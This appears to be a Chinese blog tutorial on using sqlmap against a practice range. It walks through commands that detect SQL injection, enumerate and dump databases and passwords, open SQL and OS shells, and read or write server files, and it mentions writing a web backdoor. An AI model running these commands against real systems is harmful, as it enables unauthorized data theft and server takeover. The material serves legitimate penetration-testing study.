• sqlmap使用图解



    1.sqlmap介绍

    💪💪 SQLMap是一个自动化的SOL注入工具,其主要功能是扫描、发现并利用给定URLSQL注入漏洞,内置了根多绕过插件,支持的数据库有MySOL、Microsoft Access、IBM DB2、SQLite、Firebird、PostgreSQL、Microsoft SQL Server.SybaseSAPMaxDB。SQLMap采用了以下5种独特的SQL注入技术。

    • 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
    • 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。
    • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
    • 联合查询注入,在可以使用Union的情况下的注入。
    • 堆查询注入,可以同时执行多条语句时的注入。

    💎💎 SQLMap的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。SQLMap的功能强大到让人惊叹,当常规的注入工具不能利用SQL注入漏洞进行注入时,使用SQLMap会有意想不到的效果。

    2. sqlmap基础

    2.1.打开sqlmap

    直接输入sqlmap,这里我使用kali演示

    sqlmap下载
    在这里插入图片描述
    **由于有许多人没有sql环境,我这里以真实靶场为例,靶场地址,⚠️⚠️不同人注册后靶场地址不同,注意区分,

    在这里插入图片描述

    点击后进入如下目录

    在这里插入图片描述

    这里我们只讨论sqlmap的使用,不考虑解题过程

    2.2.判断是否存在注入

    sqlmap -u 网址;(当网址后面的参数大于两个的时候,网址要加上英语双引号)

    有些使用sqlmap.py,及把sqlmap换成sqlmap.py,不同sqlmap不同

    在这里插入图片描述

    2.3.判断文件是否存在注入:

    sqlmap -r 文件名(文件名要有正确的路径)
    在这里我们可以使用sqlmap进行抓包,然后进行验证

    在这里插入图片描述

    在这里插入图片描述

    2.4.查询当前数据库下的所有数据库

    sqlmap -u 网址 --dbs

    在这里插入图片描述
    在这里插入图片描述

    在这里我们看到了5个数据库,进入mysql进行测试

    2.5.获取数据库中的表名

    sqlmap -u 网址 -D 数据库 --tables
    在这里插入图片描述
    在这里插入图片描述

    可以看到mysql数据库下面有多个表,进入user表下面看看

    2.6.获取表中的字段名

    sqlmap -u 网址 -D 数据库 -T 表名 --columns

    在这里插入图片描述
    在这里插入图片描述

    可以看到user表下面有多个字段,其中包含敏感字段password,我们可以试一下窃取password

    2.7.获取字段类容

    sqlmap -u 网址 -D 数据库 -T 表名 -C 字段名 --dump
    在这里插入图片描述
    在这里插入图片描述
    如上图所示,可以看到用户名和密码

    2.8.获取数据库的所有用户

    sqlmap -u 网址 --users
    在这里插入图片描述
    在这里插入图片描述

    2.9.获取数据库密码

    sqlmap -u 网址 --passwords

    在这里插入图片描述
    在这里插入图片描述

    2.10.获取当前数据库网站的名称>

    sqlmap -u 网址 --current-db

    在这里插入图片描述

    其实我们在进行扫描的时候还可能得到其他重要的信息,比如语言版本,数据库版本,因为有些数据没有进行更新,存在一定的漏洞,如下:

    在这里插入图片描述

    2.11.获取当前网站数据库用户名称

    sqlmap -u 网址 --current-user

    在这里插入图片描述

    3.sqlmap进阶

    3.1参数

    3.1.1 --level 等级

    一共有五个等级(1~5),当然探测等级越高,使用的时间越久,这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookies在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试
    不确定哪个Payload或参数为注入点时,为了保证全面性,建议使用高的level值。
    sqlmap -u http://124.70.71.251:41123/new_list.php?id=1 --level 2

    在这里插入图片描述

    3.1.2 --is-dba

    查看当前用户是否为管理员权限
    sqlmap -u http://124.70.71.251:41123/new_list.php?id=1 --is-dba

    在这里插入图片描述

    3.1.3 --roles

    列出数据库管理员角色: sqlmap -u http://124.70.71.251:41123/new_list.php?id=1 --roles

    • 该命令用于查看数据库用户的角色。如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,也可以用-U参数指定想看哪个用户的角色。该命令仅适用于当前数据库是Oracle的时候

    在这里插入图片描述

    3.1.4 --referer

    查看数据库用户的角色: sqlmap -u http://124.70.71.251:41123/new_list.php?id=1 --referer https://www.baidu.com

    • SQLMap可以在请求中伪造HTTP中的referer,
      当–level参数设定为3或3以上时;
      会尝试对referer注入。可以使用referer命令来欺骗

    3.1.5 --sql-shell

    执行指定的sql语句:select * from user sqlmap -u http://124.70.71.251:41123/new_list.php?id=1 --sql-shell

    在这里插入图片描述

    3.1.6 --os-cmd,--os-shell

    在数据库为MySOL、PostgreSOL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,如果数据库为MySQL、PostgreSQL,SQLMap上传一个二进制库,包含用户自定义的函数sys exec)和sys eval,那么创建的这两个函数就可以执行系统命令。在Microsoft SQL Server中,SQLMap将使用xp cmdshell存储过程,如果被禁用(在MicrosoftSQLServer2005及以上版本默认被禁制),则SQLMap会重新启用它;如果不存在,会自动创建。
    用–os-shell参数可以模拟一个真实的Shell,输入想执行的命令。当不能执行多语句时(比如PHP或ASP的后端数据库为MySQL),仍然可以使用INTO OUTFILE写进可写目录,创建一个Web后门。–os-shell支持ASP、ASP.NET、JSP和PHP四种语言(要想执行改参数,需要有数据库管理员权限,也就是–is-dba的值要为True)。

    3.1.7 --file-read

    该命令用于读取执行文件,当数据库为MySQL、PostgreSQL或Microsoft SQLServer,并且当前用户有权限使用特定的函数时

    3.1.8 --file-write --file-dest

    该命令用于写入本地文件到服务器中,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。下面以一个MySQL的例子复习–file-write–file-dest参数的用法。

    3.2绕过

    由于小编现在技术有限,绕过方法以后跟新,想要看后续的,可以关注一下博主哦

  • 相关阅读:
    Vue 监听属性
    vscode左键无法跳转到定义的文件
    STM32矩阵按键
    从四分钟到两秒——谈谈客户端性能优化的一些最佳实践
    UNIX环境高级编程 学习笔记 第二十一章 与网络打印机通信
    vue单页面怎么做SEO优化
    7、设计模式之桥接模式(Bridge)
    CF821 A. Consecutive Sum
    JDK1.8新特性
    如何使用域名访问到特定IP地址的服务器
  • 原文地址:https://blog.csdn.net/qq_53568983/article/details/127457605